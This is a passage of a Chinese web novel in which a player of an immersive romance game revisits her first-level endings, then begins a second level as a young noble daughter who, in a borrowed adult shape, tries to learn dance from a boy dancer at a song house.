而那个人,在你这边,拥有必死的命运。 【任务失败】 【这一生你做了许多事,几乎从没为他停留过。 恋慕的雨丝下了十年。 你终于要回头看他了吗?】 【进入结局】 心心念念许久的人,成为了你的男宠之一。 你的精力都用在辅佐女帝身上,很少顾虑内宅。他和夫子相处还算融洽,但司马煦不容他,三天两头就要罚他跪正门。 日子打打闹闹里度过。 获得成就:【她】 【闯关失败】 数值结算: 【美貌99/100 体能30/30 健康98/100 武力5/10 心性1000/1000 声望1000/1000 谢珩好感86/100】 第59章 之后很长一段时间, 你都没有登录过游戏。 游戏头盔放在书桌下的纸箱里积攒落灰。临近过年,家里大扫除,你才把它翻出来。湿布擦过头盔表面, 留下弧线湿润的水痕。 坐在你床上玩手机的表妹无意抬头, 见你盯着头盔发呆, 疑惑了声:“姐?” “嗯?” 又用干布擦了一遍,把头盔放回纸箱, 并从里面淘汰若干无用的垃圾。 表妹蹲来你旁边,戳戳头盔:“这是什么啊姐,玩游戏的吗?” “全息游戏。” “全息的?太酷了吧!好玩吗?贵不贵?” “十块钱, 挺好玩的。” “啊, 我也想玩,姐姐, 能借我玩玩吗?” 你犹豫了下,拒绝。 但找了其他游戏卡给她:“玩这个吧。头盔不行, 里面有我的存档。” 同为游戏爱好者,表妹理解你的为难。她乐呵呵接了其他乙女游戏的卡带,装进机子里尝鲜。 进入游戏后,表妹顿了顿, 把游戏机递还给你。 你惊讶:“不玩了?” “姐, 这里面也有你的存档。” “……是吗, 我忘了。” 为什么到了普通游戏这,就会有种无所谓的心情呢? 你手拿游戏机, 低头看被你装回纸箱的头盔。 两个不都是恋爱游戏? 应该是玩法的缘故, 你对全息游戏的掌控欲更高一些。 晚上跟姑姑一家出门吃饭,长辈们聊天总跨不过孩子。 表妹要从初中升学,姑姑发愁她的成绩, 担心去不上区里最好的高中。 说着,她就拿你举例,说你读书的时候有多努力,借榜样的力量督促她女儿。 你默默品尝店里提供的免费柠檬水,味道酸涩,喝起来有柠檬清香。 姑父问你换工作的事。 一切正常。 你刚领了老板在公司群里发的红包,是很低调的中游数额,混在人群里不必发“谢谢老板”的那种。 跨过了一些似是而非的关键点,人生陷入阶梯般不知尽头的平缓。 也许这样才是生活的常态? 对每个人而言,答案都不同。 吃完饭回家,洗漱干净,你注视着镜子里的脸。 平静的面容上,一双眼乌黑有神。 之前有一次很嫌弃自己来着。 你对着镜中的自己笑笑。 没必要嫌弃,这是独一无二的你。 随手护肤,闭眼贴面膜时,脑袋里浮现白天擦拭过的头盔轮廓。 你决定阔别已久地进游戏里逛一圈。 【欢迎登入】 你来到了待机空间。 第二关的入口按钮已经开通在半空。 你略过它的按键,研究导航上的【结局图鉴】。 第一关:【采花大盗】、【不学无术】、【弄权制策】、【宝树折枝】、【相望不相亲】、【形同陌路】、【劫数难渡】、【无能为力】、【春衫录】、【她】 【已收录】 指尖悬停在主题字上,显示弹窗:【结局之后,你在……】 “你在”什么? 点开看看。 【采花大盗】 “小姐……” 你睁眼。 光线自然昏暗,你身处一间没有烛灯的隔间。洁白窗纸透入暮后的薄光,挑亮青年衣襟上银线钩织的木槿花纹。 不认识的男人。 他叫裴瑾。 湿润的唇猝不及防咬上你,你内心排斥,甩手打他一巴掌,他哼声受下,后退几步,朝你跪了下去。 “小姐饶命。” “……” 点击【剧情回顾】。 这是非礼阿问被谢珩抓包,和离将你送回桓家,院子里另外养了很多男人的那个结局。 眼前的裴瑾就是那些男人中的一个。 “抬起头,让我看看你。” 他听话地抬头,眼尾和鼻尖都红着,被打的侧脸微微发肿,却并不丑陋,十分惹人怜惜,眉目间看出几分谢珩的影子。 桓筝天然喜欢这款男人。 长得不错。 “去把其他人都叫来。” “……是。” 裴瑾叫来满满一院子小白脸。你提灯挨个将他们照一遍,可以,相貌都在你的审美里,你坐回书案前,严声:“说说你们的可取之处,从左到右,按一号二号顺序排列,叫到谁谁出来说话。” “是。” “一号。” 一号香肩半露磨蹭到你面前,手探入桌子下面碰你。 “我……指头较寻常人长些。” 你弹去他掀你衣角的手,脸上淡笑:“有多长?吞进嘴里给我看看。” “哎?” “不做吗?” “……”他老实照做。 你以一种欣赏的目光盯他。 他起初不解你的要求,做到半程找到关窍,尽心尽力表演给你看。 “想要什么赏赐?” “小姐、亲亲我好吗?” 你点头,握过他的手,低唇吻在他的指尖。无视他涨红的脸和脖颈,你摆手:“下去吧,二号过来。” …… 【不学无术】 【剧情回顾】:新婚第二日问礼,你不知礼数闹出丑闻。无法忍受别人嘲讽的目光,你折腾多年,与谢珩和离,最终嫁给了一个无名小卒,进了深山里过日子。 沉入场景时,无名小卒正戴着帷帽看鱼。他有一双非常好看的手,指尖透着血气充盈的红,拨动水流时,池塘里的鱼被他迷晕般,围着他的手指转。 像是天生垂钓圣体。 “……夫君。” 你叫了他一声。 因为提示他名字的词牌给出的内容是【无名小卒】,你不知该称呼他什么,最后就叫了夫君。 “筝娘,过来看,这的鱼好漂亮。你认识这是什么鱼吗?” “红鲤。” “这样漂亮的鱼……吃了这个,你会不会变成神仙?” “……” 他是天真的性格? “不会。” “唔……果然还是吃我吧。只有我能让筝娘长命百岁……” 嗯? 你掀开他的帷帽,里面是一张若初雪见日般明澈的脸。最主要的是,你在他脸上看到珍珠饰品。 好精致的无名小卒,他在颧骨上贴了月牙般的珍珠妆。 你无意盯了他殷红的唇瓣一眼,他就像受到指令般自觉咬破。 血涂在唇上愈发艳丽,朝你凑来。 “可以喝了,筝娘,吃掉我吧……” 【弄权制策】 【剧情回顾】:公然调戏谢玟,惹谢氏众怒,获得休书。桓守临慷慨拉你入局,你在为他做事的过程中获到权力。最后为桓氏牺牲,与崔氏联姻。 “我要告诉你一件事。” 男人近在咫尺,和你抵着头,你看到他扬起的嘴角,两边各陷了清浅的梨涡。 “你知道谢珩死了吗?” “……” 你冷脸推开他,整理衣襟。 他被你推倒在床榻上,衣衫压在身下,随着他的笑声起伏。 “你还爱他。” “桓筝,你是不是输了?以为算计到一切就能心满意足吗?你可是很贪心的人,他死在我们成婚当天……” 你坐到他身上,长发散在背后,冷抽他胸口一巴掌。 “让你分析我了吗?” “你很了解我?” “还是觉得自己很聪明?” 巴掌印在他雪白的皮肤上,留下红痕。他讥笑一声,吻着你,咬着你。 “崔氏的兵符,明天我让挽琉送你书房。” “所以,别动好吗?” …… 回到待机页面。剩下的几个结局都是和熟悉的人开出,你暂时没有见他们的欲望。 实在见过太多次了。 第二关的入口始终如一地亮着。你仰头盯了片刻,伸手,点入。 第60章 【第二关】 【金雀钗·沈景蕊】 【你叫沈景蕊, 当朝三司户部副使家的嫡女。 父母感情不睦,但有家室依仗,无人敢对母亲犯上僭越, 府内上下都十分敬重。连带着你从记事起就是家里的掌上明珠。】 【变故在你七岁这年。祖母去世, 父亲将外室俞诗和她五岁的女儿沈景妍带入家门。 母亲明面若无其事, 按照妾室份例安排她们母女。但回到房里,她却有意借刺绣之由扎伤指尖, 刺烂的皮肤、四溢的鲜血让你感受到她对父亲所作所为的愤怒。】 【身为她的女儿,又是家中地位仅次于父母亲的存在,你决定给这对厚颜无耻介入别人家庭的母女一点颜色看看, 让她们识相地离开沈家。】 【夜晚, 你偷偷溜出卧房,到那对母女的院子里放了把火。你的本意只想吓她们, 没想到她们已经睡下,更没想到她们院子里连个伺候的人也没有。被救出来时, 烟呛得她们昏迷,沈景妍的额头上甚至被烧出一块桃花形的疤痕。】 【你的手法过于拙劣,侍从们几乎立刻锁定了你是这场大火的凶手。父亲震怒,你被关了一个月的禁闭, 但有母亲在, 你的禁闭形同虚设, 该有的好待遇始终不变。】 【无人时,母亲训了你一顿, 批评你的错处, 教你下次做类似的事时要怎样掩盖痕迹,让别人找不到你的头上……】 【无论如何,沈景妍母女都已彻底融入你的生活, 无法拔出。你的母亲也接受了这个现状,或许是她开始在你面前收敛,你没再见过她怨恨的模样。】 【但就算母亲放过了她们,你仍然讨厌沈景妍——父亲十分疼爱她。那种疼爱和对你是不同的,不是对家中嫡女的栽培,而是父亲对女儿的溺爱。】 【为什么,你不也是他的女儿吗?嫉妒日复一日累积,最后化为浓郁的黑雾蒙蔽双眼,在心里种下仇恨的种子。】 【八岁的第一个月,你决定做什么?】 60-70 第61章 【背包】:[一粒圆丹]、[暖情香]x1、[学人鹦鹉]x1、[你想要成为的样子]x1 【可分配点数】:20 【数值】: 美貌0/30 体能30/30 健康100/100 武力0/10 心性0/1000 声望0/1000 ——【检测更新版本, 已为您后台升级,是否确认安装】 【yes】 【数值】: [基础属性] 美貌0/30 体能30/30 健康100/100 心性0/1000 声望0/1000 [才华技能] 武力0/10 诗词0/10 书法0/10 琴技0/10 歌舞0/10 绘画0/10 刺绣0/10 茶艺0/10 厨艺0/10 【请分配你的点数:20】 “……” 【数值页面】膨胀得好拥挤。 看着密密麻麻的文字,你有种老年人玩智能手机的无助感。 这么多类别是用来做什么的? 点数先保留。 弹窗继续:【通关条件】 1.成为一名出色的恶毒女配 【要求玩家完成随机恶毒事件达成目的】 【请时刻关注女主沈景妍的厌恶值, 厌恶值过低将限制虚拟操作页面的使用】 要自己做坏事了? “厌恶值”是什么? 2.恋爱评级 【系统监测恋爱线路进展, 以积分形式汇总, 在倒计时结束时核算评级】 【倒计时十七年】 按照积分评级。 也就是恋爱线评价总分高才能通关。 没有攻略对象的要求,应该是选人阶段就纳入评价过程。 【玩家, 请开始你的挑战】 八岁的第一个月,你决定做什么? 【胭脂水粉】【梳头编发】【后院跑圈】【挑水干活】【喝药】【晒太阳】【休息】【听嬷嬷唠叨】【处理丫鬟矛盾】【帮邻居的忙】【请客】【掷弹弓】【扎马步】【抄书】【参加诗会】【临摹练字】【学琴】【去歌楼逛逛】【学画】【练刺绣】【帮厨打杂】【给长辈倒茶】 “……” 好多字啊! 你什么都不想做,但这个窗口没有关闭键。 非要选一个的话, 你决定:【去歌楼逛逛】 场景变现。 迎空吊着一轮烈日。 你跪在正对“思过”二字牌匾的石阶下。 从地上站起身, 你拍落衣服上的灰土,在此处存了第二关的第一个档。 现在的情况是, 你因为在妹妹沈景妍的脸上乱画,被父亲罚跪, 惩罚时长还有一个时辰。 “小姐!哎呦!您、您怎么站起来啦?大人已经生气了,要是见您偷懒,肯定要重……” “我出门一趟。” “啊??” 抬步朝拱门的方向走,穿过柔软的细柳, 尽头是一条通往内院的回廊。 不认路。 你思考片刻, 翻了翻人物档案, 发现自己身边一个可用的人都没有,他们忠心的对象都是你的父母。 “小姐?” 迎面来的丫鬟发现了你, 步子迟缓下来。 “您怎么在这?不是该在思过阁前……” 你朝她伸手:“带我出门。” “小姐想出门?老爷和夫人应允了吗?” “……” 没有。 你转头就走, 被她跑了几步抓到肩膀。 “别乱跑啊,要是出事了怎么办!” 读档回到开局。 年纪太小了,出门需要大人允许。但是再怎么开放的父母也不会允许八岁小孩去歌楼。 你琢磨了下人设, 在看管嬷嬷的劝说声里,尝试着露出不满的神情。 “我不想跪了,就是不想跪!除了我娘,你们谁都不能让我跪!” 嬷嬷的唠叨被你一句话堵干净,像水浇火焰般透彻,只剩灰烬与蒸汽的嗞嗞声。 你抱着胳膊,抬脸傲慢道:“伺候我的人呢,都去哪了?大白天就敢偷懒,我要告我母亲那里去!” “小姐!小姐!” 几个丫鬟白着脸色跑来,惊慌道:“小姐!我们没有偷懒,我们一直在旁守着小姐您!” 带头的一个解释,身后几人跟着诚恳点头。 你目光扫了她们一圈:“守着我?就是不见踪影,在阴凉处守着我是吗?” “……小姐恕罪!小姐恕罪!” “恕罪可以,看我心情。你们现在谁能带我出府?办到的人,将功抵过,我之后不会罚她。” “我,我来!我带小姐出府!” 为了免受惩罚,叫做阿英的丫鬟抢先出声,低头到你身边,恭敬殷切道:“小姐这边走!” 先定罪,后利用愧疚和恐惧心理要挟人办事,这是你在上个结局学到的手段。 阿英带你从偏门出府,召来马车。 你想了想:“我不坐车,要走着出去。” 她完全哄着你,百依百顺:“小姐想去哪?” “我要去歌楼。” 阿英笑容僵了僵,磕绊:“歌、歌楼吗?小姐为什么想去?若是有事要办,吩咐我们这些下人便是,您去那种地方只怕……” “我就要去。不带我去,我就罚你!” 阿英只好苦着脸,牵你往城中最繁华的歌楼方向走。 忙到现在,她有些搞不清楚是你天真残酷的罚刑可怕,还是被夫人听到她带你去了歌楼的发落可怕。 歌楼名叫醉花音。飞檐斗拱,高耸的琉璃瓦在日光下如流金般璀璨。不等走近,就听见里面的悠扬乐器声,以及女子轻柔的哼唱。 阿英死揪着衣角,快要哭了。 “小姐,您真的要进去吗?” 当然。 不过——先读档,你准备一个人去。 回到开局,在嬷嬷劝你安分受罚时,你一声不吭地离开思过阁,按照阿英引你走的路线出府。因你走得过分笃定,路上遇到的人只以为你是受父母吩咐去什么地方,除行礼外无人拦你。 顺利出府,你来到了醉花音。 从你独身出现在街上开始,看门小厮就纳罕看你,待你走近,发现你的确是奔着他家歌楼而来,顿时表情严肃地驱赶: “哪跑出来的小丫头,这不是你该来的地方,快回去!” 被拒绝了。 好在可以变身。 躲进一处胡同里,使用【你想要成为的样子】道具,你变成了长大后的自己。 堂而皇之地走向正门,小厮仍伸臂阻拦:“这位小姐,我们这不接女客。” 回到那处胡同。 你变成一只狸花猫,娉娉婷婷走进歌楼。 小厮将你拎到反方向:“去去,怎么来了只猫,这没有吃的!去对街那家歌楼去!” 回到胡同,变成一个留着络腮胡的肌肉男。 这次,小厮笑脸相迎:“公子请进,要什么酒?” 你很冷漠:“烦人,我就算喝也不买你卖的。” 小厮赔笑:“是是是,要买姑娘们的酒。” 说着,他回头望了一眼那个胡同。 将你送进歌楼里,他特地过去查看,是死胡同没错。 可是他刚刚分明看到这里走进了小孩,走出了女子、小猫、大汉,他们都是从哪冒出来的? 是他太累了? 丝竹管弦的乐声悠扬舒缓,时急时慢。你背手走在歌楼内,里面并没有你想的那般颓靡,近似话本里常写的风月名地。 每五步一放冰裂纹的支摘窗,珍珠串成的帘子被风吹得撞击出滑腻的声响,歌声循风而过,仿佛柔软缠绕的飘带遮拢心脏。 正闲适漫步,走廊尽头传来一阵杂乱的追击,你停住打算看个热闹,却被低头冲来的华服歌女撞了个满怀。她撞了人,却抬头怒视你,将你一把推开,绕过你朝出口跑。 身后跟了几个拿棍棒的小厮追上去。 “站住!” “想跑?” 他们合力将女孩束缚住,毫不怜香惜玉地踩她的背,口中骂骂咧咧。 “不还钱别想走!你个小骗子!” 女孩固执地挣扎,即便绳子捆遍了四肢也没有屈服。你靠在窗口望着这一幕,搓了搓自己变身后粗宽的手掌,觉得该做些什么。 “住手。” 闻言回头,几个小厮不悦地打量着你,虽然没说,但用眼神质问了你算什么东西。 “我们醉花音办事,客人还是留些分寸,不要插手了吧?快些进去喝酒听曲便是。” “她欠你们多少钱,我替她还。” 女孩被踩在地,嫌恶地看了你一眼,吼:“不需要!放开我!” 听到对方清朗澄澈的男音,你沉默了。 小厮愤愤:“是的,就是客人您想的那样!这小子装女人骗我们的钱,您说他这副样子怎么接客?被客人发现歌女是个带把的,人家要怎么看我们楼?” “是你们说要选汴京跳舞跳得最好的人,又没说要男要女!” 小厮很郁闷了:“谁能想要有你这号人!男的也不是没有跳舞的地方,你怎么就非往我们这凑?” “我不想卖沟子!我以为你们这不是那种地方!我以为这里真的只听歌赏舞,结果是我错了!” “你错了把钱还来!” “花光了花光了,我都说了一百遍我花光了!” “客人!您来评评理!” 你被小厮扯着手臂拉过去,他用鞋尖勾起男孩的脸:“这臭小子不还钱,我们楼压他做工还债,是不是天经地义?” “平常做工怎么不行,可你们还是想我卖沟子!” “给客人跳一支舞,人家赏了你那么多钱,忍忍被他摸一把能怎么样!” “你说能怎么样?你怎么不让他摸!” 吵得好精彩。 你道:“他跳舞真的跳得很好吗?” 小厮道:“别看这小子骨头硬,” 他用力踩了一脚男生修长的手。 “真正跳起舞,他比丝绦飘得还好看!要是个女子就好了,偏偏是个臭男人……” 是很遗憾了。 你蹲到他面前,拍了拍小厮的鞋子,他会意挪开脚。 “让他给我跳支舞看看。” 小厮眼神古怪上下瞄你一眼。 “他虽然是男的,但我们给他定价很贵,客人您看得起吗?” “看得起,给我腾出一个雅间,再上些酒。” “行吧。” 趴在地上,貌若好女的男孩咬牙切齿:“我才不要为你跳舞,我最讨厌心怀不轨的男……” 小厮捂他的嘴:“磨磨唧唧,快走。” 你被其他小厮引入雅间,室内装潢文雅,临窗摆了几盆兰花。 你躬身闻了闻,搬琴奏乐的女子看到,掩唇发出笑声,负责唱歌的推了她一下,两人规规矩矩地摆好古琴,做表演前的准备。 你与她们对坐,有些懒怠,伏在桌案上趴着,随手玩自己的胡子。胡须硬邦邦的,捏在手里根根分明。 “客人?” 歌女柔声叫你。 “小卫到了,我们现在开始?” 你点头,从桌案上直起身。 名叫卫棠的男孩穿着女子服饰,长袖飘逸站在你的对面,白皙的指尖挺直朝上,旋转时宛若繁复的花瓣散开,天地跟他旋转,为他倾倒。 这时很难在意琴声与歌声,眼中只有跳跃的舞者一个。当他用勾人的目光看过来,介于男女之间朦胧极致的美感让你的心脏缓慢而沉重地跳动。 一曲终了,他失落地垂下眉睫。跳舞时鲜活无比,一旦停下来,那点快乐就飞走,他又变回了浑身是刺的孩子。 “看够了吗?” 他伸手:“给钱。” 你没带钱出来,借口去茅房关道具,拆下一侧的珠钗,变回络腮胡男,将首饰抵钱给他。 卫棠讥讽:“还以为是什么有钱人,口气那么大,结果看一场舞还用妻女的首饰,你拿什么赎我?” 他随手将珠钗扔到地上,是蜻蜓样式的珍珠钗,落地摔掉了几颗珠子。 “真不知道你来这图什么。” 歌女拍他一下,告诫:“小卫要好好和客人说话。” 你道:“我来这是想学舞。” 琴女这次光明正大地笑出声:“世上怪胎还真多,是你能学的吗就想学?小卫至少还有张好皮囊,你……” 歌女打断道:“好了,忙你的去吧。” 她带着琴女,歉意微笑一番退出门去,留你和在场唯一一个可能教你跳舞的人在雅间。 卫棠意味深长道:“真巧,遇见我就想学舞。” 你说:“不巧,我来这就是为了遇见你。” 他大约是固定刷技能的npc。 “以后你就是我师父了。” 第62章 “滚!自说自话什么!恶心死了!谁是你师父!” 卫棠嫌弃得鼻子皱起, 明亮的眸子毫不留情展露排斥敌意。 “我警告你,别对我动什么心思!我平生最讨厌男的碰我!你要是敢用钱买我,我就把你口口割断踩扁烧烤刷酱撒料喂狗狗拉出的粪便一半拿去喂狗一半拿去喂猪再一个轮回当肥料下到地里种出来的烂东西再喂狗吃九生九世不放过你最后种麦子喂到你嘴里你自己吃吃完哭着拉你这辈子都没有口口了因为你做错了事你敢肖想本大爷!” 他骂得可真来劲啊。 因为是自己没有的东西, 你一点都不觉得屈辱, 反而感觉有些好笑。 “说这么多话都不喘气, 你唱歌是不是也很好听?” 卫棠:“……” “能连着跳舞一起,教我唱歌吗?” “呕。” “……” 有那么恶心? 你捏捏自己的胸肌, 又举起手臂发力,按上面圆鼓鼓的肌肉。 还好吧。 他好像在误会你喜欢他。 合理的怀疑。 机缘巧合见了一面,就点名看他跳舞, 看完之后还说拜他为师的话, 很明显是见色起意,图谋不轨。 但世上也有你这种好学的人存在。 你解释道:“我没有肖想你, 只是想学舞。” “还是你觉得,只有长得像你一样好看的人才能跳舞, 我这样相貌丑陋的就没有学的资格……你歧视我?” 卫棠不吃这套,冷哼:“巧言令色,你快滚。再怎么放屁我也不会多看你一眼。你这样的人我见多了,好色之徒, 净会卖可怜, 信了你就要被扒裤子, 我捶烂你个口口口!” “……” 拜师路上的阻碍,你懂。 正常都要刷几天好感。 “我明日再来。” 离开歌楼。 守门的小厮换了一位, 似乎是之前那位中暑告病回家, 他来顶上空缺。 络腮胡身材高挑,走在人群里呼吸的空气也能十分新鲜。 第二关的背景架空有所变化,街上的小吃比第一关时丰富很多。你拆了另一侧的珠钗, 掰珍珠沿途换零嘴吃,走一路买一路,就是胡子碍事得很,总是有食物残渣挂在上面。 快到家门,你取消了道具效果,变回身高不足门环的小女孩。 用帕子仔细擦过沾油的下巴,随手揣进怀里,往家的方向走。 步履匆匆的丫鬟们在府门里来回穿行,其中一位看到你,眼睛登时冒火,上前抓你往怀里一抱。 “去禀夫人!大小姐找到了!” “是!” 月梧抱着你的手臂在颤抖,但脸上完全看不出紧张的情绪,她淡着神色疾行在石径间,经过柳树时将你的头按进怀里。 【成玉阁】是你与母亲的住处。 进了院子,月梧将你放在地上,虽还有气,但她揉了揉你的脸,拿帕子擦拭你衣领上滴落的油脂。 “等下见到夫人,小姐要认错,知道吗?” “……知道。” “学给我看看,怎么认?” “我错了?” 月梧叹了口气,推你后背:“去吧。” 你在她黑云堆积般的视线里进了正房。提裙迈过对你来说算高的门槛,见到坐在桌前喝茶的貌美女子。 约莫二十出头的岁数,皮肤白得吹弹可破,秀眉红唇,是很有韵味的冰山美人。夕阳的余晖照在她身上,像洒了一层淡淡的金粉。 “跪下。” 不想跪。 你站在原地不动。不理解他们为什么总要人跪,是想在人身上看到服从的态度? 不跪会挨打吗? 不会。 母亲见你站着不动,僵持一会儿,倒是软下目光。 “去哪了?我问过你外祖家,没听说你去那边。你头上的蜻蜓钗呢,叫人抢走了?” “过来,景蕊,跟娘说说,你委屈了?因为你爹罚跪你,你就离家出走给他看?傻孩子,你以为他会担心你吗?” 美貌的母亲抚按你的脸,笑意渐渐消散,泪水争先恐后涌出眼眶。 她将你抱住:“你可吓死我了。” “我只有你一个孩子,你要是出什么事,被别人拐去,你让娘怎么活?” “我会杀了他的,我会杀了他们的!是娘不好,娘把你生在这样一个家里……” 感受她悲痛的情绪,像拥抱着淋过雨的梨花。你眨了眨眼,回拍她的后背。 “没事的,娘,我觉得这个家还可以。” “谢谢你把我生出来呀。” 母亲的哭声一顿,将你抱得更紧。 处理好情绪,她恢复冷静淡然的状态,叫月梧吩咐:“把小姐身边的丫鬟全都换掉,以后你跟着她,记得,除了见天子,谁让景蕊跪下都不许,要是有人生气,尽管让他来见我,我女儿跪不了,我这个当娘的替她跪!” 月梧无奈:“夫人息怒吧,您这样,以后小姐的日子会更难过的。如今晴慧园住了人,他怕是整天寻思着您的错处,恨不得立刻将您请出去,让那位来做他的夫人、做这个家的主母。” “您不为自己考虑,也要为小姐考虑。” 你道:“娘不必为我考虑,若实在厌恶父亲,与他和离便是,我跟着娘走也一样的。” 母亲哑然,为你的这番话,眼中又渗出泪。 月梧道:“哪里一样,跟着夫人走,以后小姐就是没有母家撑腰的女子,再找不到好人提亲。要是嫁的不好,又要像夫人如今一般难过,您忍心吗?” 你想说自己可以不嫁人。 但想到主线任务2的积分评级,套在剧情里,应该就是成年以后的婚事。挑选一桩好的婚事,积分评价高,是顺利通关的关键。 此外,有了上次通关的经验教训,除了两个通关任务,你多出摸索主线剧情的意识。 【金雀钗】是什么? “哪里忍心呢,每次过不下去,想想景蕊,就觉得这日子还能对付。他只是不理我,不爱我,对我算是敬重。若他是十足的恶人,我祖父当年便不会允我嫁他。” “您清醒就好。” “娘,金雀钗是什么?” 小孩子思维跳脱,想一出是一出。 母亲揉你头上的小揪揪,耐心道:“金雀钗是前朝贵女桓筝的遗物,当今皇后的珍宝,藏在坤宁宫里。你这丫头从哪听来的这个?” 骤然听到上个关卡中自己的名字,你有些发愣,许多熟悉的人,熟悉的记忆闪过你的脑海,竟在心头生出沧海桑田般的遗恨。 你并不记得自己有这件首饰,他总是给你买很多东西。 “……娘,我怎样才能拿到这个钗子?” 母亲失笑:“你想要皇后的宝贝?可是娘不想把你嫁给太子。” ——要嫁给太子。 这是一条路。 “就没有其他办法吗?” “要是皇后娘娘特别喜欢你,说不定能赏赐给你。” 这是另一条路。 母亲道:“皇后娘娘喜欢知书达理的小姑娘,你得从现在开始学沉稳些才行。明日上课,你还偷玩吗?” “不玩了。” “这还差不多。” 第二天清晨,你被月梧拽起洗漱上课。 因为是小孩子,所以有迷迷糊糊坐在床上被刷牙的待遇。 这时候的牙刷叫“刷牙子”,竹料刷柄,刷头是被处理过的动物毛,刷在牙上十分柔软,漱口后留下淡淡花茶香。 月梧道:“从今日起,小姐就又一人上课了。二小姐不在,你再没有偷懒耍滑的借口,须得认真和夫子读书。” “知道啦。” 背着单肩的书袋,月梧牵你去书斋见夫子。那是一位上了年纪的女人,举止优雅,看上去就很有涵养学识。 你向她行礼问好。 夫子平声道:“坐吧。” 月梧笑着讨好:“游夫人辛苦,要好好磨我们小姐的性子,她若不听话,尽管打她手板。” “不敢。要是被你家小姐记恨,下次便要在我的脸上作画了。” 她言辞讥讽,对你之前苛待庶妹的举止很是不满。 月梧什么都辩驳不出,只能站在原地干巴巴冲着她笑。好在夫子无意为难她,翻书授课,让你读上节课讲过的《诗》。 你从书包里找出教材,捏着页脚翻到夫子说的那页,上面有你用红笔划的句读。 通读全文,上节课识不得的字,这节课全读通顺,这让夫子脸色好看许多。 “不错,回去下了功夫。” 一节课上完,月梧脸上满是喜气,让其他丫鬟捎话给你母亲,说你在课堂上的优异表现。 “小姐做得这样好,可有什么想要的?月梧都为您讨来!” “给我些钱?” 她一愣,笑开:“学学算账也不错!明日我与夫人商量,让她空出时间教您用算盘!” “……” 虽然第一反应是给你安排课程,但吃了午饭后,你回到房间,还是看到了她送来的一盘金元宝。 纯金。 你找来剪子剪了几个,攒成碎金揣进怀里,用道具变成月梧的样子出门,就近找丫鬟叮嘱:“小姐下午要背书,别端茶送水打扰她,她不叫就别去见她,省的她分心。” 丫鬟乖顺行礼:“是。” 离开她的视野,你又变成了这丫鬟的样子找到月梧。 “小姐看到金子乐坏了,说下午要背书,让咱们别去打扰她呢。” 月梧轻笑:“这孩子。前日跟夫人说想要首饰,这次又张口要钱。夫人清白一世,怎么就生出这么个小财迷来。” 你配合地笑了笑。 无人处化成麻雀飞出去,落进醉花音的后院,变成络腮胡形象。 有什么东西从二楼坠落,你下意识伸手接,浑身散发花香的卫棠稳稳落进你的怀里。精巧的五官还残留着恐惧,良久,视线凝住,他恢复呼吸,紧抓着你的衣襟,却要刻薄瞪你。 “抱够了吗?” “放我下去!” 第63章 还是老套路。 不想被别人碰, 于是激烈反抗,用跳楼表明自己的坚决意志。 “你不跳高点,吃亏的就只有你自己, 你看他们都没打算救你的。” “……哼。” 歌女将你脱臼的手臂接回去, 让你伸展动一动。 确认恢复正常后, 你把痛觉打开。 歌女歉疚道:“是我们的错,今日客人在楼里的花费都记在我的账上。小卫还小, 不懂事,客人万万不要跟他一般见识。” 你道:“不会,我今日来便是为他还钱。” 坐一旁团手帕的卫棠闻言, 惊然侧头。就连歌女也十分讶异:“还钱吗?是很大一笔的数目……” 你把自己带来的碎金倒在桌上。 “这些够吗?” 卫棠哼笑一声, 像是安心了。他真的很排斥被你买走,这个时候的人如果完全属于另个人, 就是做了奴隶,奴隶没有尊严可言, 死之前只能任主人摆布,无法反抗,说不定被逼着做什么恶心事。 歌女道:“还债的话,怕是再有这样九份才够。” 她纤细洁净的手指拢那些金子, 推回到你的一侧。 “客人还是收……” “九份我也有的, 明天带来可以吗?” “吱呀”一声, 卫棠从椅子上站起身。 他脸色惨白:“不要!不行!之遥姐姐,不要把我卖出去!凭什么卖我!” 歌女不语, 他又转向你, 恶狠狠、凶巴巴地说:“以为有几个臭钱就能奴役我?你敢买我就敢死!你这辈子都别想得到我!” “我没想得到你,我只是想让你教我跳舞,认真的。” “这些钱是我的拜师礼, 不够我之后还会再给你带,想要别的我也可以送,不过最先要送你的是随时离开的自由。” 卫棠扯开嘴角:“说的天花乱坠,有什么用,你这种五大三粗的人连腰都下不去,还想学舞,简直笑话。” “你得先教我,才知道我行不行。” 嘴上这么说,你心中有些迟疑。 要学吗?有没有【跳过】键?虽然打从心里认可跳舞的样子很美,但你从没想过自己也去做一样的事。 “滚吧,我才不教你。” 这是第二次被拒绝。 想着第三次他总会答应,你并不失望,把金子留给歌女,说是为师父赎身的钱,干干脆脆离开。 望着你果决的背影,卫棠有些迟疑。 你……是不是真的很喜欢跳舞?所以变卖家财来求他教你跳舞的真本领。 他其实理解的,跳舞就是令人向往的表达美的方式。男孩子喜欢跳舞怎么了,过去他自己经历过难处,反过来却还是做了这种角色。 他也被同化成了自己最讨厌的那种人吗? 不对。明明是胡子图谋不轨在先,他绝不相信无缘由的示好! 之后,你又登门几天。卫棠始终没有松口传授你精品课的意图。 倒是其他舞女看不过去,过来教你几个舞姿,还有基础功法,给你一个偏僻的屋子练习。 你努力记住她们教的动作,抬手、转圈、伸脚。舞女做起来柔美的动作,你做就像健身操一般健康。 几个女孩子围着你笑。 “小卫说话难听,但说的都在理。想学舞最好在小时候,长大以后你记得胳膊和腿的发力,再想跳舞动作就会僵,没办法摆脱你十几年的习惯,不可能学好舞,最多学个架势,学个皮毛。” “而且你看起来好笨哦。” “……” 你有些丧气。被女孩子们围在一起哄,她们拿干了的红枣擦你嘴唇,让你吃进去。 “别灰心啊,跳不好没关系,给我跳,我爱看。” 她摸到奇怪的地方。 你捉她手腕,两两相望,各自古怪。她拍了下你的手,皓腕藤蔓般缠绕上来。 “装什么?” “还是你只喜欢小卫……” 你正色推开她:“我要练舞了。” “……” 她扇了一个带着香风的耳光到你脸上,提着裙摆和姐妹一起怒气冲冲离开。 你懵在原地,半晌发笑。 带着这抹笑意,你迈步走到舞室中间,高举拍手,点着节拍转圈。 不知不觉练到黄昏,你有些困了,伏在桌案上小憩。 家那边独处背书的借口越来越顺,因为第二天考背你真的背得出来。 听说你在学业上的用心,父亲抽时间来你的屋子里坐了会儿。他觉得是对你的奖赏,但你只在他进屋时叫了声父亲,余下的时间都琢磨在背书上。 他坐着无人理会,十分尴尬,最后硬把你叫了过去,揉揉脸,弹弹额头,问你怎么跟爹爹不亲了。 “因为我忘记爹了呀。太长时间见不到你,以为你是别人的爹。” “……” “是你娘教你这么说的?” “我娘才不跟我提你呢,是我自己想的。反正我把你忘记了,你去给景妍当爹吧。” 他沉默片刻,起身离开,背影寂寥。 